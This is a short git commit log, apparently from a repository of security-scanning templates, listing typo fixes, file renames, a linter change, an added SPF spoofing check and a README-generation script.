Sebastian Broekhoven	8b990fd753	linter	2020-11-11 22:34:40 +01:00
Sebastian Broekhoven	4f4797ceb4	Added check for spoofable SPF records	2020-11-11 22:27:34 +01:00
bauthard	cdfb537623	Merge pull request #612 from harleo/master Rename jira-exploitaiton-workflow.yaml to jira-exploitation-workflow.…	2020-11-12 00:56:14 +05:30
Leo	f03482fdd7	Rename jira-exploitaiton-workflow.yaml to jira-exploitation-workflow.yaml	2020-11-11 20:16:20 +01:00
bauthard	477dc5cf08	Merge pull request #611 from harleo/master Corrected Jira workflow typos	2020-11-12 00:36:10 +05:30
Leo	86ec9f5ab3	Update jira-exploitaiton-workflow.yaml Corrected exploitation typo	2020-11-11 19:51:48 +01:00
Leo	77fefbc493	Update README.md Corrected typo in Jira workflow	2020-11-11 19:50:43 +01:00
bauthard	d85749b5c7	Update springboot-detect.yaml	2020-11-11 17:33:07 +05:30
toufik-airane	eb1a417534	Add README.py and update README.md Add a Python3 script named README.py to automatically update the README.md on triggers. Some stuffs is missing like the numbers of HTTP/DNS requests per template Directory. Feel free to contribute if you think it's reliable.	2020-09-09 19:23:19 +02:00